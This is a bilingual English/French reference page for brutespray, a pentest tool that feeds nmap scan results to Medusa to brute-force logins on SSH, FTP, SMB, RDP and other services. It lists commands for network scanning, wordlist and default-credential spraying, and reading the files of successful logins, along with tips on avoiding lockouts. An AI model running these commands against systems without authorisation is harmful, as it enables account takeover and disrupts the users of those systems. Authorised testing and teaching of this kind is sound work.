brutespray

Brute-force automatiquement les services découverts par nmap. Lit la sortie XML de nmap et lance Medusa contre tous les services trouvés : SSH, FTP, SMB, Telnet, RDP, et plus. Automatically brute-forces services discovered by nmap. Reads nmap XML output and sprays Medusa against all found services — SSH, FTP, SMB, Telnet, RDP, and more.

↗ https://github.com/x90skysn3k/brutespray

Overview

brutespray automates the process of brute-forcing services discovered during network scanning. It reads nmap’s XML output, identifies open service ports, and automatically launches Medusa to test credentials against each discovered service — saving the manual effort of setting up per-service brute-force attacks.

Basic Usage

Brute-force from nmap XML output

brutespray --file nmap.xml

Specify username and password files

brutespray --file nmap.xml -U users.txt -P passwords.txt

Only test specific service

brutespray --file nmap.xml -s ssh

Use default credentials only

brutespray --file nmap.xml -c

Continue on success (don’t stop after first hit)

brutespray --file nmap.xml --continue

Scanning + Brute-Force Workflow

Step 1: nmap scan with service detection (XML output)

nmap -sV -p 22,21,23,25,80,443,3389,445,3306,1521 \
  --open -oX scan.xml 192.168.1.0/24

Step 2: Auto-brute-force discovered services

brutespray --file scan.xml -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
  -P /usr/share/wordlists/rockyou.txt --threads 5

Step 3: Review results

cat brutespray-output/

Service Selection

Only SSH

brutespray --file nmap.xml -s ssh

Only FTP

brutespray --file nmap.xml -s ftp

Only SMB

brutespray --file nmap.xml -s smb

Multiple services

brutespray --file nmap.xml -s ssh,ftp,telnet,smb
# Supported services:
# ssh, ftp, smtp, telnet, mssql, mysql, postgresql,
# rdp, snmp, sshkey, svn, vnc, http-post-form, smb

Credential Options

Username and password files

brutespray --file scan.xml -U users.txt -P passwords.txt

Single username

brutespray --file scan.xml -u admin -P passwords.txt

Single password

brutespray --file scan.xml -U users.txt -p password123

Default credentials only (built-in list)

brutespray --file scan.xml -c

Combo file (user:pass format)

brutespray --file scan.xml --combo combo.txt

Threading

Set number of concurrent threads (default: 2)

brutespray --file scan.xml -t 5

Threads per host

brutespray --file scan.xml --threads 3

Output

Results saved to brutespray-output/ directory

ls brutespray-output/
# View successful logins
cat brutespray-output/ssh-success.txt
cat brutespray-output/ftp-success.txt
cat brutespray-output/smb-success.txt

Verbose output

brutespray --file scan.xml -v

Tips

  • Use -c (default creds) first — many devices have unchanged default passwords
  • Don’t use large password lists against Active Directory — account lockout risk
  • Keep thread count low (-t 3) to avoid overwhelming targets or triggering lockouts
  • Combine with polenum to check AD lockout policy before spraying SMB
Help / Man page
brutespray [options]

-f, --file FILE     Nmap XML file
-s, --service SVC   Comma-separated list of services
-U FILE             Username file
-P FILE             Password file
-u USER             Single username
-p PASS             Single password
-c                  Use default credentials
-t, --threads N     Concurrent threads (default: 2)
--continue          Continue after successful login
--combo FILE        Combo file (user:pass)
-v                  Verbose
-o DIR              Output directory (default: brutespray-output)

Vue d’ensemble

brutespray automatise le brute-force des services découverts pendant le scan réseau. Il lit la sortie XML de nmap, identifie les ports de services ouverts, et lance automatiquement Medusa pour tester des identifiants contre chaque service découvert, ce qui évite le travail manuel de mise en place d’attaques de brute-force par service.

Utilisation de base

# Brute-force depuis la sortie XML de nmap
brutespray --file nmap.xml

# Spécifier les fichiers d'utilisateurs et de mots de passe
brutespray --file nmap.xml -U users.txt -P passwords.txt

# Ne tester qu'un service précis
brutespray --file nmap.xml -s ssh

# N'utiliser que les identifiants par défaut
brutespray --file nmap.xml -c

# Continuer après un succès (ne pas s'arrêter au premier trouvé)
brutespray --file nmap.xml --continue

Workflow scan + brute-force

# Étape 1 : scan nmap avec détection de services (sortie XML)
nmap -sV -p 22,21,23,25,80,443,3389,445,3306,1521 \
  --open -oX scan.xml 192.168.1.0/24

# Étape 2 : brute-force automatique des services découverts
brutespray --file scan.xml -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
  -P /usr/share/wordlists/rockyou.txt --threads 5

# Étape 3 : examiner les résultats
cat brutespray-output/

Sélection des services

# SSH uniquement
brutespray --file nmap.xml -s ssh

# FTP uniquement
brutespray --file nmap.xml -s ftp

# SMB uniquement
brutespray --file nmap.xml -s smb

# Plusieurs services
brutespray --file nmap.xml -s ssh,ftp,telnet,smb
# Services supportés :
# ssh, ftp, smtp, telnet, mssql, mysql, postgresql,
# rdp, snmp, sshkey, svn, vnc, http-post-form, smb

Options d’identifiants

# Fichiers d'utilisateurs et de mots de passe
brutespray --file scan.xml -U users.txt -P passwords.txt

# Nom d'utilisateur unique
brutespray --file scan.xml -u admin -P passwords.txt

# Mot de passe unique
brutespray --file scan.xml -U users.txt -p password123

# Identifiants par défaut uniquement (liste intégrée)
brutespray --file scan.xml -c

# Fichier combo (format user:pass)
brutespray --file scan.xml --combo combo.txt

Threading

# Définir le nombre de threads concurrents (défaut : 2)
brutespray --file scan.xml -t 5

# Threads par hôte
brutespray --file scan.xml --threads 3

Sortie

# Résultats sauvegardés dans le répertoire brutespray-output/
ls brutespray-output/

# Voir les connexions réussies
cat brutespray-output/ssh-success.txt
cat brutespray-output/ftp-success.txt
cat brutespray-output/smb-success.txt

# Sortie verbeuse
brutespray --file scan.xml -v

Conseils

  • Utilisez d’abord -c (identifiants par défaut) : beaucoup d’appareils gardent leurs mots de passe par défaut
  • N’utilisez pas de grandes listes de mots de passe contre Active Directory : risque de verrouillage de compte
  • Gardez un faible nombre de threads (-t 3) pour éviter de saturer les cibles ou de déclencher des verrouillages
  • Combinez avec polenum pour vérifier la politique de verrouillage AD avant de sprayer le SMB
Aide / Page de manuel
brutespray [options]

-f, --file FILE     Nmap XML file
-s, --service SVC   Comma-separated list of services
-U FILE             Username file
-P FILE             Password file
-u USER             Single username
-p PASS             Single password
-c                  Use default credentials
-t, --threads N     Concurrent threads (default: 2)
--continue          Continue after successful login
--combo FILE        Combo file (user:pass)
-v                  Verbose
-o DIR              Output directory (default: brutespray-output)